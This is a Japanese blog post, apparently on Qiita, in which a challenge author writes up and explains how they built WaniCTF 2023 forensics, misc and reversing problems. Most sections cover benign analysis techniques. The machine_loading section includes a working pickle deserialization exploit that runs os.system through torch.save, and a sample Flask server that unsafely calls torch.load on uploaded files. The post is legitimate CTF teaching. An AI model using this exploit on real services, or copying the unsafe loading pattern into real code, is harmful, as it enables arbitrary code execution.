0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

はじめに

この記事はMikkaによる,WaniCTF 2023 の作問者writeupです.

Writeupを上げるにしては1年ほど遅いですが,代わりに問題ファイルの作成方法も載せてみます.

私が作問初心者のとき,作問方法の例になるような記事が全然見つからなくて困ったことがあったので,この記事が誰かの助けになれば幸いです.

ちなみに,2024/6/21にはWaniCTF 2024が開催されます.

なお,筆者はWSLのUbuntu 20.04を使用しています.

forensics

Just_mp4

解説

mp4ファイルが渡されます.

exiftool chall.mp4

などによりプロパティを見に行くと,flag_base64: ... というメッセージが格納されています.
これをbase64デコード.

作問

適当なmp4ファイルを作成した後,exiftoolでメタデータを編集する.

exiftool -flag=hogehoge chall.mp4

whats_happening

解説

いくつかのファイルが格納されたバイナリファイルが渡されます.

foremostを使用したり,Stirling等のバイナリエディタを使用してpngファイルを抜き出します.

ちなみに,pngファイルのヘッダは臼NG (89 50 4E 47)で始まります.

作問

解答となるpngファイルとその他適当なダミーファイルを入れたzipファイルを用意します.

そして,stirling等のバイナリエディタでzipファイルの構造情報を一部適当に書き換えます.
拡張子も消してしまえば,解凍はできないが中身はそのままな壊れたzipファイルが出来上がります.

lowkey_messedup

解説

pcapファイルが渡されます.Wiresharkで見ると,USBのパケットであることが分かります.

USBのパケットはいくつか種類がありますが,通信量の少なさや単純さから,キーボードの通信と予想できます.

パケットのデータ部分には2桁の16進数か,それに0x020000が加算されたものが送信されており,これがHIDキーコードです.

キーボードの入力から復元するコードはググれば出てくるので,適当なコードで復元してしまいましょう.今ならChatGPTでも行けるかもしれない.

ちなみに,0x020000 (Left Shift)や0x2A (backspace)の処理を忘れたまま提出する人が割と多かったです.

作問

Wiresharkを起動し,USBで接続したキーボードとPCの通信を見つけ出します.
適当なメモ帳にキーボードで入力し,それをWiresharkで記録します.

beg_for_a_peg

解説

pcapファイル問題2つ目です.

パケットを目で追うと,flag.jpgが送信されていることが分かります.

右クリック → 追跡 → TCPストリーム と操作するとこの画像のパケットのみを追うことができます.
raw形式で保存するとWiresharkが画像データだけを抜き出してくれます.

これはflag.jpgと一緒に送信されていた,適当に描いたダミーデータです.
pug.jpg dum.jpg

作問方法

Pythonで(言語はなんでもいいです),TCPで画像を表示するだけのWebページのサーバプログラムを作成します.

server.html
<img src="dum.jpg" width="256">
<img src="flag.jpg" width="256">
<img src="pug.jpg" width="256">

サーバのPythonプログラムは長いので割愛しますが,手元の通信でパケットを取れればいいので単純なもので十分です.

サーバが出来たら手元でそのWebページを開き,Wiresharkでその通信を記録します.

Apocalypse

解説

画像の一部が表示されないPNGファイルが渡されます.

バイナリを見ると IEND (PNGの終わりを示すチャンク) が2つあるので片方を消す,という問題でした.

うさみみハリケーンで解けるらしいです.試してなかった……

作問

適当なPNGをバイナリエディタで開き,適当な所で偽装したIENDチャンクを手書きする.

misc

machine_loading

"機械学習のモデルを試すことができるWebサービス" の,開発中のサーバのPythonプログラムを見せてもらえます.

アップロードされたファイルをそのままtorch.load()してしまう部分があるので,そこを狙います.

torch.loadで読み込めるファイルはtorch.saveで出力できますが,このファイルは機械学習モデルというよりはPythonのclassをそのまま保存するものなので,任意コード実行ができてしまいます.

ls > ./output_dir/output.txt
cat ./flag.txt > ./output_dir/output.txt

というコードを実行したいので,ソルバーは以下の通りです.

solver.py
import os
import torch

class Exploit(object):
    def __reduce__(self):
        # cmd = ('ls > ./output_dir/output.txt') # step 1
        cmd = ('cat ./flag.txt > ./output_dir/output.txt') # step 2
        return os.system, (cmd,)

# torch.save(Exploit(), 'solver_ls.ckpt') # step 1
torch.save(Exploit(), 'solver_cat.ckpt') # step 2

作問方法

この問題はtorch.save()torch.load()を攻略して欲しい問題なので,サーバプログラムはtorch.load()を使う,アップロード機能を持った適当なWebサイトで十分でした.

大事な所だけ抜き出して色々削ったコードですが,サーバはこんな感じです.Flaskを使用しています.

server_sample.py
def modelload(file):
    with BytesIO(file.read()) as f:
        torch.load(f)
        
@app.route("/upload", methods=["POST"])
def upload():
    file = request.files["file"]
    modelload(file)
    
    with open("output_dir/output.txt", "r") as f:
        msg = f.read()
    os.remove("output_dir/output.txt")

    return f"File loaded successfully: {msg}"

reversing

Just_Passw0rd

解説

ELFファイルが渡されます.
実行するとパスワードの入力を求められますが,実は実行ファイル内にFLAGが平文で置いてあります.

strings just_password

作問

入力を受け付けて処理して,パスワードが合ってたらFLAGを出力するようなプログラムを書きます.
stringsで出て欲しいので,FLAGはそのまま書きます.

src.c
printf("Correct!\nFLAG is FLAG{dummy}\n");

javersing

解説

jarファイルが渡されます.
適当なjavaのデコンパイラがオンライン・オフライン問わず配布されているので,それを使ってデコンパイルします.

後は普通にjavaを読んで手元で再現すればokです.

作問

FLAGを暗号化した文字列を変数として,それを復号するようなjavaプログラムを書き,jarファイルにします.
jarをデコンパイルしてFLAGを見て欲しいので,FLAGはprintlnせず,プログラム中にも平文としては現れないようにします.

theseus

解説

Ghidraなどで見ると,アセンブリコードに直接足し算をしていることが分かります.

プログラムとアセンブリコードを見て,足し算を手元で再現する問題でした.

angrで解けるみたいです.angrの方が楽ですね.

作問

作問コンセプトに合うように,mprotectで書き換えができるようにします.
compareという関数で定義される変数を直接書き換えており,書き換えた後のcompareが入力したFLAGが合っているかどうかをチェックする,という感じです.

src.c
    int page_s = getpagesize();
    void *comp_add = (void*)compare;
    void* page_add = (void*)((unsigned long)(comp_add) & ~(page_s - 1));

    mprotect(page_add, page_s, PROT_READ|PROT_WRITE|PROT_EXEC);
    ...
        if (i <= 7){
            ((unsigned char*)comp_add)[37+(i)] = ((unsigned char*)comp_add)[37+(i)] + temp;
    ...
    for (int i=0;i<26;i++){
        if(compare(input[i],i) == 0){
            printf("Incorrect.\n");
            return 1;
        }
    }
    printf("Correct!\n");
    return 0;

感想

TheseusやApocalypseはもうちょっとうまく問題を作れたかな,と思っています……
が,思っていた以上にたくさん作問していたので,一年前の自分は頑張っていたと思います.

作問した問題はほとんど好評で,色々嬉しい感想も頂いたので,感無量です.
WaniCTF 2024もよろしくお願いします.

0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?